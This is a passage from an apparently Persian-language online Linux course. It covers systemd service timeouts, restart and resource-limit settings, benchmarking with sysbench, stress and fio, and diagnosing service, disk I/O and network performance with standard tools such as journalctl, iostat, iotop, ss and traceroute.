برای جلوگیری از اینکه Daemon‌ها مدت زمان زیادی را بدون پاسخ در سیستم اجرا شوند، می‌توان از TimeoutSec برای تعیین حداکثر زمان اجرای سرویس‌ها استفاده کرد.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای محدود کردن زمان اجرای سرویس اضافه کنید:
[Service]
TimeoutSec=30

در اینجا:

  • TimeoutSec=30 به معنای این است که اگر Daemon بیش از 30 ثانیه در حالت انتظار باقی بماند، فرآیند متوقف می‌شود.

۷. استفاده از Restart برای اطمینان از پایداری Daemon

برای اطمینان از اینکه Daemon‌ها همیشه در حال اجرا هستند و در صورت بروز خطا، مجدداً راه‌اندازی می‌شوند، می‌توان از تنظیمات Restart استفاده کرد.

تنظیمات در فایل یونیت systemd
  1. ویرایش فایل یونیت سرویس:
sudo nano /etc/systemd/system/mydaemon.service
  1. تنظیمات زیر را برای راه‌اندازی مجدد Daemon در صورت خرابی اضافه کنید:
[Service]
Restart=on-failure
RestartSec=5

در اینجا:

  • Restart=on-failure به معنای راه‌اندازی مجدد Daemon در صورت بروز خطا است.
  • RestartSec=5 به معنای تأخیر 5 ثانیه‌ای قبل از راه‌اندازی مجدد است.

جمع‌بندی

  • برای افزایش امنیت Daemon‌ها، می‌توان از تنظیماتی مانند User و Group برای محدود کردن دسترسی‌ها، AmbientCapabilities برای کنترل دسترسی‌های ویژه، و RestrictAddressFamilies برای محدود کردن پروتکل‌های شبکه استفاده کرد.
  • ویژگی‌هایی مانند NoNewPrivileges برای جلوگیری از ارتقاء دسترسی‌ها، ProtectSystem برای محافظت از سیستم فایل، و TimeoutSec برای محدود کردن زمان اجرای سرویس‌ها، به پایداری و امنیت Daemon‌ها کمک می‌کنند.
  • از ویژگی Restart می‌توان برای اطمینان از اجرای مداوم و خودکار Daemon‌ها استفاده کرد.

این تنظیمات و پیکربندی‌ها به شما کمک می‌کنند تا Daemon‌ها را به صورت امن و پایدار در سیستم‌های لینوکسی راه‌اندازی و مدیریت کنید.[/cdb_course_lesson][cdb_course_lesson title=”فصل 7. بررسی و تحلیل عملکرد سرویس‌ها”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزارهای Benchmark برای تحلیل عملکرد” subtitle=”توضیحات کامل”]برای بهینه‌سازی عملکرد سیستم‌ها و سرویس‌ها، یکی از ابزارهای کلیدی Benchmarking است. Benchmarking به فرایند اندازه‌گیری و مقایسه عملکرد سیستم‌ها یا نرم‌افزارها تحت بارهای مختلف گفته می‌شود. این ابزارها می‌توانند به تحلیل عملکرد سیستم‌های سخت‌افزاری و نرم‌افزاری کمک کنند، و مدیران سیستم را قادر می‌سازند تا مشکلات عملکردی را شناسایی کرده و بهینه‌سازی‌های لازم را انجام دهند. در این بخش، به بررسی برخی از ابزارهای Benchmark که می‌توانند برای تحلیل عملکرد در محیط‌های لینوکسی استفاده شوند، پرداخته‌ایم.


۱. sysbench – ابزار Benchmark برای سیستم

sysbench یک ابزار قدرتمند برای انجام Benchmark بر روی سیستم‌های لینوکسی است که می‌تواند عملکرد CPU، حافظه، دیسک و بانک‌های اطلاعاتی را اندازه‌گیری کند. این ابزار برای بررسی بارهای مختلف سیستم و توانایی‌های آن استفاده می‌شود.

نصب sysbench

برای نصب sysbench در سیستم‌های مبتنی بر Debian و Ubuntu از دستور زیر استفاده کنید:

sudo apt-get install sysbench

در سیستم‌های مبتنی بر RedHat یا CentOS از دستور زیر استفاده کنید:

sudo yum install sysbench
تست عملکرد CPU با sysbench

برای تست عملکرد CPU، می‌توان از دستور زیر استفاده کرد:

sysbench cpu --cpu-max-prime=20000 run

در این دستور:

  • --cpu-max-prime=20000 به معنای محاسبه اعداد اول تا ۲۰۰۰۰ است.
  • run اجرای Benchmark را آغاز می‌کند.

نتایج شامل تعداد عملیات انجام شده و زمان لازم برای انجام آن‌ها خواهند بود.

تست عملکرد حافظه با sysbench

برای تست حافظه می‌توان از دستور زیر استفاده کرد:

sysbench memory --memory-block-size=8K --memory-total-size=10G run

در این دستور:

  • --memory-block-size=8K سایز هر بلوک حافظه را ۸ کیلوبایت تنظیم می‌کند.
  • --memory-total-size=10G مجموع حافظه آزمایش را ۱۰ گیگابایت تنظیم می‌کند.

۲. stress – ابزار فشار تست سیستم

stress یک ابزار ساده است که برای شبیه‌سازی بارهای مختلف بر روی سیستم به کار می‌رود. این ابزار می‌تواند بار زیادی روی سیستم اعمال کرده و عملکرد آن را تحت فشار قرار دهد.

نصب stress

برای نصب stress در سیستم‌های مبتنی بر Debian و Ubuntu از دستور زیر استفاده کنید:

sudo apt-get install stress

در سیستم‌های مبتنی بر RedHat یا CentOS از دستور زیر استفاده کنید:

sudo yum install stress
اجرای تست CPU با stress

برای اعمال فشار به CPU، می‌توانید از دستور زیر استفاده کنید:

stress --cpu 4 --timeout 30s

در این دستور:

  • --cpu 4 به معنای اعمال فشار روی ۴ هسته CPU است.
  • --timeout 30s تست را برای ۳۰ ثانیه اجرا می‌کند.
اجرای تست حافظه با stress

برای اعمال فشار روی حافظه، می‌توان از دستور زیر استفاده کرد:

stress --vm 2 --vm-bytes 1G --timeout 30s

در این دستور:

  • --vm 2 دو فرآیند حافظه مجازی ایجاد می‌کند.
  • --vm-bytes 1G هر فرآیند حافظه‌ای به اندازه ۱ گیگابایت مصرف خواهد کرد.
  • --timeout 30s مدت زمان اجرای تست را به ۳۰ ثانیه محدود می‌کند.

۳. fio – ابزار Benchmark برای دیسک

fio یکی از ابزارهای پیشرفته و بسیار قابل تنظیم برای Benchmark کردن عملکرد دیسک است که می‌تواند برای تست انواع ورودی/خروجی (I/O) از قبیل خواندن، نوشتن و عملیات‌های تصادفی بر روی دیسک‌ها استفاده شود.

نصب fio

برای نصب fio در سیستم‌های مبتنی بر Debian و Ubuntu از دستور زیر استفاده کنید:

sudo apt-get install fio

در سیستم‌های مبتنی بر RedHat یا CentOS از دستور زیر استفاده کنید:

sudo yum install fio
اجرای Benchmark دیسک با fio

برای تست سرعت خواندن و نوشتن دیسک می‌توانید از دستور زیر استفاده کنید:

fio --name=mytest --ioengine=sync --rw=readwrite --bs=4k --numjobs=8 --size=1G --time_based --runtime=30s

در این دستور:

  • --name=mytest نام تست را مشخص می‌کند.
  • --ioengine=sync از حالت sync برای اجرای عملیات‌ها استفاده می‌کند.
  • --rw=readwrite برای انجام عملیات خواندن و نوشتن به صورت همزمان تنظیم شده است.
  • --bs=4k اندازه بلوک را ۴ کیلوبایت تعیین می‌کند.
  • --numjobs=8 تعداد فرآیندها را ۸ عدد تنظیم می‌کند.
  • --size=1G حجم داده هر فایل تست را ۱ گیگابایت مشخص می‌کند.
  • --time_based به معنای اجرای تست بر اساس زمان است.
  • --runtime=30s مدت زمان اجرای تست را ۳۰ ثانیه تعیین می‌کند.

۴. ioping – ابزار Benchmark برای عملکرد I/O

ioping یک ابزار مناسب برای اندازه‌گیری عملکرد I/O دیسک است. این ابزار مشابه ping عمل می‌کند، اما به جای بررسی اتصال شبکه، عملکرد دیسک را بررسی می‌کند.

نصب ioping

برای نصب ioping در سیستم‌های مبتنی بر Debian و Ubuntu از دستور زیر استفاده کنید:

sudo apt-get install ioping

در سیستم‌های مبتنی بر RedHat یا CentOS از دستور زیر استفاده کنید:

sudo yum install ioping
اجرای Benchmark I/O با ioping

برای بررسی عملکرد دیسک می‌توان از دستور زیر استفاده کرد:

ioping -c 10 /home

در این دستور:

  • -c 10 تعداد پینگ‌های I/O را ۱۰ عدد تنظیم می‌کند.
  • /home مسیر دایرکتوری برای انجام تست است.

۵. htop – نظارت بر منابع سیستم در زمان واقعی

htop یک ابزار گرافیکی است که برای نظارت بر وضعیت سیستم و استفاده از منابع مانند CPU، حافظه و دیسک به کار می‌رود. این ابزار می‌تواند به عنوان یک Benchmark برای نظارت بر عملکرد در زمان واقعی استفاده شود.

نصب htop

برای نصب htop در سیستم‌های مبتنی بر Debian و Ubuntu از دستور زیر استفاده کنید:

sudo apt-get install htop

در سیستم‌های مبتنی بر RedHat یا CentOS از دستور زیر استفاده کنید:

sudo yum install htop
اجرای htop

برای اجرای htop از دستور زیر استفاده کنید:

htop

جمع‌بندی

استفاده از ابزارهای Benchmark یکی از بهترین روش‌ها برای ارزیابی و تحلیل عملکرد سیستم‌ها است. ابزارهایی مانند sysbench، stress، fio و ioping برای تحلیل عملکرد CPU، حافظه، دیسک و I/O به کار می‌روند و می‌توانند به شما کمک کنند تا عملکرد سیستم خود را اندازه‌گیری کرده و بهینه‌سازی‌های لازم را انجام دهید. همچنین، htop به شما امکان می‌دهد تا منابع سیستم را به صورت زنده و در زمان واقعی مشاهده کنید.

این ابزارها می‌توانند برای شبیه‌سازی بارهای مختلف بر روی سیستم‌ها و همچنین ارزیابی توانایی‌های سخت‌افزاری و نرم‌افزاری سیستم مفید واقع شوند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تحلیل و رفع مشکلات عملکردی در سرویس‌ها” subtitle=”توضیحات کامل”]در هر سیستم عاملی، سرویس‌ها نقش حیاتی در ارائه خدمات به کاربران و سیستم دارند. این سرویس‌ها ممکن است به دلایل مختلفی از جمله بار زیاد، پیکربندی نادرست، مشکلات در منابع سیستم (مثل CPU، حافظه، دیسک یا شبکه) یا حتی خرابی‌های نرم‌افزاری دچار مشکلات عملکردی شوند. بنابراین، تحلیل و رفع مشکلات عملکردی سرویس‌ها بخش مهمی از مدیریت سیستم‌ها و پایداری آن‌ها است.

در این بخش، به بررسی روش‌ها و ابزارهایی خواهیم پرداخت که به شما کمک می‌کنند مشکلات عملکردی سرویس‌ها را شناسایی و رفع کنید.


۱. نظارت بر وضعیت سرویس‌ها با systemctl status و journalctl

برای تشخیص مشکلات عملکردی سرویس‌ها در لینوکس، اولین قدم نظارت بر وضعیت سرویس‌ها است. ابزارهای systemctl و journalctl می‌توانند اطلاعات دقیق‌تری در مورد وضعیت سرویس‌ها، خطاها و مشکلات موجود در اختیار شما قرار دهند.

بررسی وضعیت سرویس‌ها با systemctl status

برای بررسی وضعیت یک سرویس خاص، دستور زیر را اجرا کنید:

systemctl status <service_name>

مثال:

systemctl status apache2

این دستور اطلاعاتی در مورد وضعیت سرویس apache2 (در اینجا به عنوان مثال) به شما می‌دهد. شما می‌توانید ببینید که آیا سرویس در حال اجرا است یا متوقف شده است و همچنین اطلاعاتی درباره مشکلات ممکن را مشاهده کنید.

بررسی لاگ‌های سرویس‌ها با journalctl

ابزار journalctl امکان بررسی لاگ‌های سیستم و سرویس‌ها را فراهم می‌کند. برای مشاهده لاگ‌های یک سرویس خاص، از دستور زیر استفاده کنید:

journalctl -u <service_name>

مثال:

journalctl -u apache2

با این دستور، می‌توانید تمام لاگ‌های مربوط به سرویس apache2 را مشاهده کنید. این اطلاعات می‌توانند به شما کمک کنند تا مشکلات عملکردی را شناسایی کنید.


۲. تحلیل مصرف منابع توسط سرویس‌ها

در بسیاری از موارد، مشکلات عملکردی به مصرف زیاد منابع توسط سرویس‌ها مربوط می‌شود. برای بررسی مصرف منابع سرویس‌ها، ابزارهای مختلفی مانند top، htop، و ps می‌توانند بسیار مفید باشند.

بررسی مصرف منابع با top

برای مشاهده مصرف CPU و حافظه به صورت زنده، دستور زیر را وارد کنید:

top

این دستور به شما یک نمای کلی از مصرف منابع توسط تمامی فرآیندها و سرویس‌ها می‌دهد. با استفاده از کلیدهای مختلف، می‌توانید مرتب‌سازی را تغییر دهید، به‌طور خاص مصرف CPU یا حافظه را مشاهده کنید.

استفاده از htop برای مصرف منابع

htop یک نسخه پیشرفته‌تر از top است که به شما امکان می‌دهد با استفاده از رابط کاربری گرافیکی مصرف منابع را بررسی کنید. برای نصب htop، از دستور زیر استفاده کنید:

sudo apt-get install htop    # برای سیستم‌های Debian/Ubuntu
sudo yum install htop        # برای سیستم‌های RedHat/CentOS

پس از نصب، با دستور زیر htop را اجرا کنید:

htop

در این حالت، شما می‌توانید به راحتی مصرف CPU، حافظه و سایر منابع سیستم را برای هر فرآیند مشاهده کنید.

بررسی مصرف منابع خاص یک سرویس با ps

برای بررسی مصرف منابع توسط یک سرویس خاص، می‌توانید از دستور ps استفاده کنید:

ps aux | grep <service_name>

مثال:

ps aux | grep apache2

این دستور اطلاعاتی مانند مصرف CPU و حافظه برای فرآیندهای مرتبط با سرویس apache2 به شما می‌دهد.


۳. بررسی لاگ‌های سیستم برای خطاهای مربوط به سرویس‌ها

در صورتی که سرویس‌ها دچار مشکلات عملکردی شوند، لاگ‌ها معمولاً اطلاعات خوبی در مورد دلایل بروز این مشکلات فراهم می‌کنند. برای بررسی خطاهای سیستم و سرویس‌ها، دو ابزار dmesg و journalctl می‌توانند مفید باشند.

بررسی لاگ‌های سیستم با dmesg

برای مشاهده لاگ‌های سیستم، می‌توانید از دستور dmesg استفاده کنید:

dmesg | grep <error>

مثال:

dmesg | grep apache2

این دستور خطاهای مربوط به apache2 را از لاگ سیستم استخراج می‌کند. dmesg لاگ‌های هسته سیستم را نمایش می‌دهد و می‌تواند به شناسایی مشکلات مربوط به سخت‌افزار یا منابع سیستم کمک کند.

مشاهده لاگ‌های سرویس‌ها با journalctl

برای مشاهده لاگ‌های مربوط به یک سرویس خاص، از دستور زیر استفاده کنید:

journalctl -u <service_name>

مثال:

journalctl -u apache2

با این دستور می‌توانید تمامی لاگ‌های مربوط به سرویس apache2 را مشاهده کنید که ممکن است شامل خطاهای ارتباطی، منابع ناکافی یا مشکلات دیگر باشد.


۴. بررسی وضعیت سیستم در هنگام بار زیاد

در بسیاری از موارد، مشکلات عملکردی به علت بار زیاد بر روی سیستم ایجاد می‌شوند. برای بررسی وضعیت سیستم تحت بار زیاد، می‌توان از ابزارهای vmstat و iostat استفاده کرد.

استفاده از vmstat برای نظارت بر وضعیت سیستم

برای مشاهده وضعیت سیستم، شامل اطلاعات مربوط به حافظه، پردازش‌ها، صفحه‌بندی و I/O، می‌توانید از دستور زیر استفاده کنید:

vmstat 1

این دستور وضعیت سیستم را هر ثانیه به‌روز می‌کند. این ابزار می‌تواند به شناسایی مشکلات مربوط به حافظه، پردازش‌ها و I/O کمک کند.

استفاده از iostat برای بررسی عملکرد دیسک

برای بررسی عملکرد دیسک و میزان استفاده از آن، می‌توانید از ابزار iostat استفاده کنید:

iostat -x 1

این دستور وضعیت دیسک را هر ثانیه به‌روز می‌کند و اطلاعاتی مانند زمان مصرف شده برای هر عملیات دیسک، نرخ خواندن و نوشتن و درصد استفاده از دیسک را ارائه می‌دهد.


۵. رفع مشکلات عملکردی سرویس‌ها

پس از شناسایی مشکلات عملکردی سرویس‌ها، نوبت به رفع آن‌ها می‌رسد. در اینجا برخی از روش‌های رایج برای رفع مشکلات عملکردی سرویس‌ها آورده شده است:

بهینه‌سازی تنظیمات سرویس

برای بهبود عملکرد سرویس‌ها، می‌توان تنظیمات مربوط به آن‌ها را بهینه‌سازی کرد. به عنوان مثال، در سرویس‌های وب مانند apache2 یا nginx می‌توانید تنظیمات مربوط به worker_processes یا max_connections را بهینه کنید.

افزودن منابع سخت‌افزاری

در صورتی که مشکل از کمبود منابع باشد (مثل CPU، حافظه یا دیسک)، می‌توانید منابع سخت‌افزاری سرور را افزایش دهید. این کار می‌تواند به رفع مشکلات عملکردی و بهبود کارایی سیستم کمک کند.

بررسی و به‌روزرسانی سرویس‌ها

گاهی اوقات مشکلات عملکردی به علت وجود باگ‌ها یا ناسازگاری‌ها در نسخه‌های قدیمی سرویس‌ها ایجاد می‌شود. برای رفع این مشکلات، اطمینان حاصل کنید که از جدیدترین نسخه‌های سرویس‌ها استفاده می‌کنید. برای به‌روزرسانی سرویس‌ها، می‌توانید از دستورات زیر استفاده کنید:

برای سیستم‌های مبتنی بر Debian و Ubuntu:

sudo apt-get update
sudo apt-get upgrade <service_name>

برای سیستم‌های مبتنی بر RedHat یا CentOS:

sudo yum update <service_name>

جمع‌بندی

در این بخش، روش‌های مختلفی برای تحلیل و رفع مشکلات عملکردی در سرویس‌ها بررسی شد. با استفاده از ابزارهایی مانند systemctl، journalctl، top، htop، ps و dmesg می‌توانید مشکلات عملکردی سرویس‌ها را شناسایی کرده و به رفع آن‌ها بپردازید. همچنین، با بهینه‌سازی تنظیمات سرویس، افزودن منابع سخت‌افزاری و به‌روزرسانی سرویس‌ها می‌توانید به بهبود عملکرد سیستم و سرویس‌ها کمک کنید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات عملکردی در سطح Systemd” subtitle=”توضیحات کامل”]Systemd به عنوان مدیر سیستم و سرویس‌های لینوکس، نه تنها وظیفه مدیریت سرویس‌ها و فرآیندها را دارد، بلکه توانایی اعمال تنظیمات عملکردی در سطح سیستم را نیز داراست. با استفاده از تنظیمات عملکردی در Systemd، می‌توانید منابع سیستم را بهینه کنید، سرویس‌ها را مدیریت کنید و پایداری سیستم را افزایش دهید.

در این بخش، به بررسی تنظیمات مختلفی خواهیم پرداخت که به بهینه‌سازی عملکرد سیستم با استفاده از Systemd کمک می‌کند. این تنظیمات می‌توانند شامل تخصیص منابع، تنظیمات زمان‌بندی و محدودیت‌های سیستم برای سرویس‌ها و فرآیندها باشند.


۱. تنظیمات منابع برای سرویس‌ها در Systemd

برای بهینه‌سازی عملکرد سیستم و مدیریت مصرف منابع سرویس‌ها، می‌توانید از systemd برای تخصیص منابع به صورت دقیق استفاده کنید. این کار می‌تواند شامل محدود کردن مصرف CPU، حافظه، زمان پردازش و I/O برای هر سرویس باشد.

تخصیص منابع CPU

برای محدود کردن مصرف CPU یک سرویس، از CPUQuota استفاده می‌شود. این گزینه به شما امکان می‌دهد تا میزان حداکثر استفاده از CPU را برای یک سرویس خاص تعیین کنید.

به عنوان مثال، برای محدود کردن مصرف CPU به 50 درصد برای یک سرویس خاص، فایل پیکربندی آن سرویس را ویرایش کرده و تنظیمات زیر را اضافه کنید:

[Service]
CPUQuota=50%

مسیر فایل پیکربندی برای سرویس‌ها معمولاً در /etc/systemd/system/ یا /lib/systemd/system/ قرار دارد. برای مثال، برای سرویس apache2، فایل پیکربندی در مسیر زیر قرار دارد:

/etc/systemd/system/apache2.service

پس از ویرایش فایل پیکربندی، باید سرویس را ری‌استارت کنید:

sudo systemctl daemon-reload
sudo systemctl restart apache2
تخصیص منابع حافظه

برای محدود کردن مصرف حافظه برای یک سرویس، می‌توانید از MemoryLimit استفاده کنید. این گزینه به شما امکان می‌دهد حداکثر میزان حافظه مصرفی یک سرویس را تعیین کنید.

برای مثال، برای محدود کردن مصرف حافظه به 500 مگابایت، دستور زیر را در فایل پیکربندی سرویس مربوطه اضافه کنید:

[Service]
MemoryLimit=500M

پس از اعمال تغییرات، سرویس را مجدداً راه‌اندازی کنید:

sudo systemctl daemon-reload
sudo systemctl restart apache2
تنظیمات محدودیت I/O

اگر سرویس شما به‌طور مداوم از I/O استفاده می‌کند، می‌توانید میزان دسترسی به I/O را با BlockIOWeight کنترل کنید. این تنظیم می‌تواند میزان اولویت سرویس‌ها در دسترسی به دیسک را مشخص کند.

برای مثال، برای تنظیم وزن I/O به 500 (که مقدار پیش‌فرض است) در فایل پیکربندی سرویس، می‌توانید این خط را اضافه کنید:

[Service]
BlockIOWeight=500

۲. تنظیمات زمان‌بندی و محدودیت‌های فرآیندها

در بسیاری از مواقع، برای جلوگیری از مصرف بیش از حد منابع یا اعمال محدودیت در زمان‌های مشخص، می‌توانید از تنظیمات Timeout و Restart برای سرویس‌ها استفاده کنید.

تنظیم محدودیت زمان برای راه‌اندازی سرویس‌ها

اگر سرویس شما نتواند در مدت زمان مشخصی راه‌اندازی شود، می‌توانید از تنظیمات TimeoutStartSec و TimeoutStopSec برای محدود کردن زمان راه‌اندازی و توقف سرویس‌ها استفاده کنید.

برای مثال، اگر می‌خواهید سرویس تنها برای 30 ثانیه زمان داشته باشد تا شروع شود، می‌توانید از دستور زیر در فایل پیکربندی استفاده کنید:

[Service]
TimeoutStartSec=30s

همچنین برای محدود کردن زمان توقف سرویس، از دستور زیر استفاده کنید:

[Service]
TimeoutStopSec=30s
تنظیمات خودکار راه‌اندازی مجدد سرویس

برای جلوگیری از وقفه‌های طولانی‌مدت در سرویس‌ها، می‌توانید از تنظیم Restart استفاده کنید تا در صورت بروز خطا، سرویس به‌طور خودکار راه‌اندازی مجدد شود. به عنوان مثال، برای راه‌اندازی مجدد خودکار سرویس در صورت شکست، از دستور زیر استفاده کنید:

[Service]
Restart=on-failure

این تنظیم موجب می‌شود که سرویس در صورت بروز خطا یا توقف، مجدداً راه‌اندازی شود.


۳. تنظیمات برای جلوگیری از مصرف زیاد منابع

در صورتی که بخواهید سرویس‌ها را از مصرف بیش از حد منابع محافظت کنید، می‌توانید از پارامترهای مختلف Limit برای محدود کردن منابع مختلف استفاده کنید. این محدودیت‌ها می‌توانند شامل محدودیت‌های CPU، حافظه، فایل‌های باز شده و موارد دیگر باشند.

محدود کردن تعداد فایل‌های باز

برای محدود کردن تعداد فایل‌های باز شده توسط یک سرویس، از LimitNOFILE استفاده می‌شود. برای مثال، برای محدود کردن فایل‌های باز به 10000:

[Service]
LimitNOFILE=10000
محدود کردن تعداد پردازش‌ها

اگر می‌خواهید تعداد پردازش‌هایی که یک سرویس می‌تواند ایجاد کند را محدود کنید، از LimitNPROC استفاده کنید. به عنوان مثال، برای محدود کردن تعداد پردازش‌ها به 100:

[Service]
LimitNPROC=100

۴. استفاده از systemd برای بهبود عملکرد سرویس‌ها

علاوه بر تنظیمات خاص هر سرویس، می‌توان با استفاده از systemd وضعیت کلی سرویس‌ها را بهینه کرد. با اعمال تنظیمات خاص و محدود کردن منابع، می‌توان از بار اضافی روی سیستم جلوگیری کرد و عملکرد سیستم را بهبود بخشید.

برای این کار، از تنظیماتی مانند CPUAffinity و TaskAffinity می‌توان استفاده کرد تا سرویس‌ها تنها از هسته‌های خاص CPU استفاده کنند و منابع بهینه‌تری را مصرف کنند.

تنظیم Affinity برای CPU

با استفاده از CPUAffinity می‌توانید هسته‌های خاص CPU را برای یک سرویس انتخاب کنید تا فقط از آن‌ها استفاده کند:

[Service]
CPUAffinity=0 1

این دستور موجب می‌شود که سرویس تنها از هسته‌های 0 و 1 CPU استفاده کند.


جمع‌بندی

در این بخش، تنظیمات مختلف عملکردی در سطح Systemd برای تخصیص منابع، مدیریت زمان‌بندی و محدودیت‌ها بررسی شد. با استفاده از CPUQuota، MemoryLimit، TimeoutStartSec، Restart و سایر تنظیمات، می‌توان عملکرد سیستم را بهینه کرد و سرویس‌ها را برای مصرف منابع بیشتر مدیریت نمود. اعمال این تنظیمات باعث افزایش پایداری و کارایی سرویس‌ها و سیستم خواهد شد.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”بررسی و حل مشکلات مربوط به I/O و شبکه در سرویس‌ها” subtitle=”توضیحات کامل”]مشکلات I/O (ورودی/خروجی) و شبکه در سرویس‌ها می‌توانند باعث اختلالات جدی در عملکرد سیستم و کاهش کارایی شوند. این مشکلات ممکن است به علت محدودیت‌های منابع، تنظیمات نادرست یا خطاهای سیستم ایجاد شوند. در این بخش، به بررسی و حل مشکلات مربوط به I/O و شبکه در سرویس‌ها خواهیم پرداخت.

۱. بررسی مشکلات I/O در سرویس‌ها

I/O شامل تمامی عملیات مربوط به خواندن و نوشتن داده‌ها بر روی دیسک، شبکه و سایر منابع ذخیره‌سازی است. مشکلات I/O می‌توانند باعث کاهش عملکرد، افزایش تأخیر در پردازش درخواست‌ها و حتی کرش شدن سرویس‌ها شوند.

۱.۱. بررسی وضعیت I/O با ابزارهای iostat و iotop

برای بررسی مشکلات I/O، می‌توان از ابزارهایی مانند iostat و iotop استفاده کرد تا میزان استفاده از منابع I/O را مشاهده کنید.

استفاده از iostat:

ابزار iostat (Input/Output Statistics) اطلاعاتی در مورد مصرف I/O در سیستم و دیسک‌ها ارائه می‌دهد. برای مشاهده وضعیت I/O در سیستم، از دستور زیر استفاده کنید:

iostat -x 1

این دستور خروجی‌ای از وضعیت I/O دیسک‌ها را به‌صورت پیوسته هر ۱ ثانیه نمایش می‌دهد. این اطلاعات شامل میزان خواندن و نوشتن داده‌ها، زمان انتظار و میزان استفاده از دیسک است.

استفاده از iotop:

برای مشاهده دقیق‌تر و شبیه به یک مانیتور گرافیکی از I/O، ابزار iotop بسیار مفید است. این ابزار می‌تواند اطلاعات دقیقی از فرآیندهایی که در حال انجام عملیات I/O هستند ارائه دهد.

برای نصب و استفاده از iotop:

sudo apt install iotop   # نصب در اوبونتو/دبیان
sudo yum install iotop   # نصب در CentOS/Fedora

پس از نصب، با دستور زیر می‌توانید فرآیندهایی که بیشترین مصرف I/O را دارند مشاهده کنید:

sudo iotop

۱.۲. بررسی وضعیت دیسک‌ها با df و du

برای شناسایی مشکلات مرتبط با فضای ذخیره‌سازی و دیسک‌ها، می‌توان از ابزارهای df و du استفاده کرد.

  • df: این دستور برای مشاهده وضعیت فضای دیسک‌ها و حجم استفاده‌شده و خالی شده استفاده می‌شود:
df -h

این دستور اطلاعاتی درباره فضای دیسک‌ها، تعداد بلوک‌ها و فضای خالی را نمایش می‌دهد.

  • du: برای بررسی استفاده از فضای دیسک در دایرکتوری‌ها:
du -sh /path/to/directory

این دستور میزان فضای مصرفی یک دایرکتوری خاص را نمایش می‌دهد.

۱.۳. بهینه‌سازی عملکرد دیسک

برای بهبود عملکرد I/O دیسک، می‌توان از تنظیمات و ابزارهایی مانند noatime و hdparm استفاده کرد. به عنوان مثال، برای بهینه‌سازی فایل‌سیستم و جلوگیری از به‌روزرسانی زمان دسترسی به فایل‌ها می‌توان از noatime در فایل /etc/fstab استفاده کرد:

UUID=<uuid> / ext4 defaults,noatime 0 1

۲. بررسی مشکلات شبکه در سرویس‌ها

مشکلات شبکه معمولاً در ارتباطات بین سرورها یا سرویس‌ها نمایان می‌شوند و می‌توانند باعث کاهش سرعت و ایجاد اختلال در سرویس‌ها شوند.

۲.۱. بررسی وضعیت شبکه با netstat و ss

برای بررسی وضعیت شبکه، می‌توانید از ابزارهای netstat و ss استفاده کنید تا وضعیت اتصالات شبکه، پورت‌ها و پروتکل‌های استفاده‌شده را مشاهده کنید.

استفاده از netstat:

برای مشاهده اتصالات شبکه فعال و وضعیت پورت‌ها:

netstat -tulnp

این دستور تمامی اتصالات TCP و UDP فعال را به همراه پورت‌های در حال گوش دادن و فرآیندهای مرتبط با آن‌ها نمایش می‌دهد.

استفاده از ss:

ابزار ss مشابه netstat است، اما سریع‌تر و قدرتمندتر عمل می‌کند. برای مشاهده وضعیت اتصالات شبکه:

ss -tuln

۲.۲. بررسی وضعیت مصرف پهنای باند با iftop

ابزار iftop برای مانیتور کردن مصرف پهنای باند شبکه توسط فرآیندها مفید است. برای نصب و استفاده از این ابزار:

sudo apt install iftop   # نصب در اوبونتو/دبیان
sudo yum install iftop   # نصب در CentOS/Fedora

پس از نصب، با دستور زیر مصرف پهنای باند شبکه را مشاهده کنید:

sudo iftop

۲.۳. بررسی تاخیر شبکه با ping و traceroute

اگر سرویس شما به تأخیر شبکه مبتلا است، می‌توانید از ابزارهای ping و traceroute برای شناسایی تاخیر و مشکلات شبکه استفاده کنید.

استفاده از ping:

برای بررسی وضعیت تأخیر در شبکه:

ping <hostname or IP>

این دستور زمان تأخیر (latency) را برای هر بسته ارسالی به مقصد مشخص‌شده نشان می‌دهد.

استفاده از traceroute:

برای مشاهده مسیر شبکه بین سیستم‌ها و شناسایی گلوگاه‌های شبکه:

traceroute <hostname or IP>

این دستور مسیر شبکه را از سیستم شما تا مقصد مشخص‌شده و زمان تأخیر در هر هاپ نمایش می‌دهد.

۲.۴. بررسی فایل‌های لاگ شبکه با journalctl و /var/log/syslog

لاگ‌های سیستم و شبکه می‌توانند اطلاعات ارزشمندی درباره مشکلات شبکه و I/O فراهم کنند.

استفاده از journalctl:

برای مشاهده لاگ‌های مرتبط با شبکه و سرویس‌ها:

journalctl -u <service-name> --since "1 hour ago"

این دستور لاگ‌های مربوط به سرویس مشخص‌شده را از یک ساعت پیش تا کنون نمایش می‌دهد.

استفاده از /var/log/syslog:

فایل /var/log/syslog می‌تواند اطلاعات مفیدی درباره مشکلات شبکه و سیستم ارائه دهد. برای مشاهده این فایل:

cat /var/log/syslog | grep -i "network"

۳. حل مشکلات شبکه و I/O در سرویس‌ها

۳.۱. رفع مشکلات I/O

  • اگر سرویس‌ها با مشکلات I/O مواجه هستند، معمولاً تنظیمات مربوط به مصرف دیسک و محدودیت‌های I/O باید بررسی شوند.
  • ممکن است با استفاده از ابزار iotop بتوانید سرویس‌هایی که مصرف زیادی از I/O دارند شناسایی کرده و بهینه‌سازی‌های لازم را انجام دهید.
  • همچنین ممکن است سرویس‌ها از دیسک‌هایی با سرعت پایین استفاده کنند. در این صورت، ارتقاء به SSD یا استفاده از RAID می‌تواند عملکرد I/O را بهبود بخشد.

۳.۲. رفع مشکلات شبکه

  • بررسی ping و traceroute می‌تواند به شناسایی مشکلات شبکه کمک کند.
  • برای رفع مشکلات تاخیر شبکه، باید بررسی کرد که آیا مسیر شبکه از طریق فایروال‌ها یا روترها مسدود شده است یا خیر.
  • همچنین باید مطمئن شوید که سرویس‌های شبکه از پورت‌های صحیح استفاده می‌کنند و هیچ‌گونه تداخل پورت‌ها وجود ندارد.

جمع‌بندی

